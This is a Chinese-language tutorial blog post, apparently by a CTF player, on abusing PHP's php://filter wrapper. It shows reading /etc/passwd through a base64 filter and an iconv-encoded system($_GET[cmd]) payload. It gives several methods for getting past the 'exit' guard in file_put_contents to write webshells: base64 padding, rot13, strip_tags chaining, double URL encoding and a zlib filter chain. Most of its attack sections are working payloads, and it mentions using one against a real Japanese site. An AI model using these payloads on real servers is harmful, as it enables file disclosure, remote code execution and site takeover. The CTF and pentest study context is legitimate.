PHP Filter协议实战:从基础编码到高级绕过技巧

PHP Filter协议实战:从基础编码到高级绕过技巧 1. PHP Filter协议基础入门第一次接触PHP Filter协议是在一次CTF比赛中当时遇到一个文件读取题常规的路径遍历都被过滤了。队友突然说试试php://filter结果真的读到了源码。从那以后我就对这个神奇的协议产生了浓厚兴趣。简单来说php://filter就像个多功能水龙头过滤器。普通的水龙头文件读取函数只能直接出水但加上这个过滤器你可以让水流经过各种处理层——比如把水变成冰块base64编码、给水染色字符转换、或者过滤杂质去除标签。它的标准语法格式是php://filter/read过滤器1|过滤器2/resource目标文件举个例子如果我们想用base64编码方式读取/etc/passwd文件echo file_get_contents(php://filter/readconvert.base64-encode/resource/etc/passwd);这样输出的就是经过base64编码后的内容。为什么要编码因为有些特殊字符可能导致直接读取失败编码后就能稳定传输到客户端再解码即可。2. 常用过滤器深度解析2.1 字符串处理三剑客最常用的字符串过滤器有三个rot13、大小写转换和strip_tags。我刚开始用rot13时闹过笑话以为是什么高级加密后来发现就是字母表位移13位的小把戏。// rot13示例 echo file_get_contents(php://filter/readstring.rot13/resourcedata://text/plain,HelloWorld); // 输出UryybJbeyq // 大小写转换 file_get_contents(php://filter/readstring.toupper/resourcedata://text/plain,abc); // 输出ABC // 去除HTML标签 file_get_contents(php://filter/readstring.strip_tags/resourcedata://text/plain,btext/b); // 输出纯textstrip_tags特别实用有次审计代码时发现个XSS漏洞但输出点用了这个过滤器攻击payload直接失效。不过要注意它只能过滤掉明确的标签对特殊字符编码的payload可能无效。2.2 编码转换的妙用编码转换过滤器是我用得最频繁的尤其是base64和iconv。base64大家都熟悉但很多人不知道PHP的base64过滤器有个特性解码时会自动忽略非base64字符。这个特性在绕过某些限制时特别有用。iconv过滤器支持多种编码转换我最喜欢用它来做字符集转换。曾经遇到过一个日本网站用UCS-2编码转换成功绕过了他们的输入过滤// UCS-2编码转换示例 $payload ?php system($_GET[cmd]);?; echo iconv(UTF-8, UCS-2BE, $payload);3. 高级绕过技巧实战3.1 死亡exit的六种解法遇到file_put_contents($file, ?php exit();.$content);这种代码时常规的webshell写入方法都会失效。经过多次实战我总结了以下几种绕过方法方法一base64填充术$file php://filter/writeconvert.base64-decode/resourceshell.php; $content aPD9waHAgcGhwaW5mbygpOz8; // 开头的a用于填充使phpexit变成4的倍数长度方法二rot13变形术$file php://filter/writestring.rot13/resourceshell.php; $content ?cuc cucvasb();?; // ?php phpinfo();?的rot13编码方法三标签闭合strip_tags$file php://filter/writestring.strip_tags|convert.base64-decode/resourceshell.php; $content ?PD9waHAgcGhwaW5mbygpOz8;3.2 编码嵌套的艺术在WMCTF2020的一道题中出题人过滤了所有常见编码的关键词。这时候就需要用到双重URL编码的技巧// 原始payload convert.iconv.UCS-2LE.UCS-2BE // 一次URL编码 %63%6f%6e%76%65%72%74%2e%69%63%6f%6e%76%2e%55%43%53%2d%32%4c%45%2e%55%43%53%2d%32%42%45 // 二次URL编码后的payload contentphp://filter/write%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|?hp phpipfn(o;)?/resourceshell.php这种编码方式可以绕过大多数关键词过滤原理是PHP会对过滤器进行URL解码而双重编码能让关键词在第一次解码后仍然不是原始形式。4. 现代PHP环境下的新变化随着PHP版本更新一些老的技巧可能失效但也出现了新的可能性PHP7的段错误特性在使用string.strip_tags过滤器时PHP7可能会产生段错误导致临时文件残留。这个特性可以用于构造特殊攻击链。过滤器严格模式新版本对非法过滤器的处理更严格以前遇到不认识的就跳过的特性可能不再适用。压缩过滤器的妙用zlib过滤器组合可以创造一些意想不到的效果$content php://filter/zlib.deflate|string.tolower|zlib.inflate|??php eval($_GET[1]);?/resourceshell.php;在实际渗透测试中我建议先在测试环境验证技巧的有效性。不同PHP版本和小版本之间可能存在差异特别是从PHP5到PHP7的变化较大。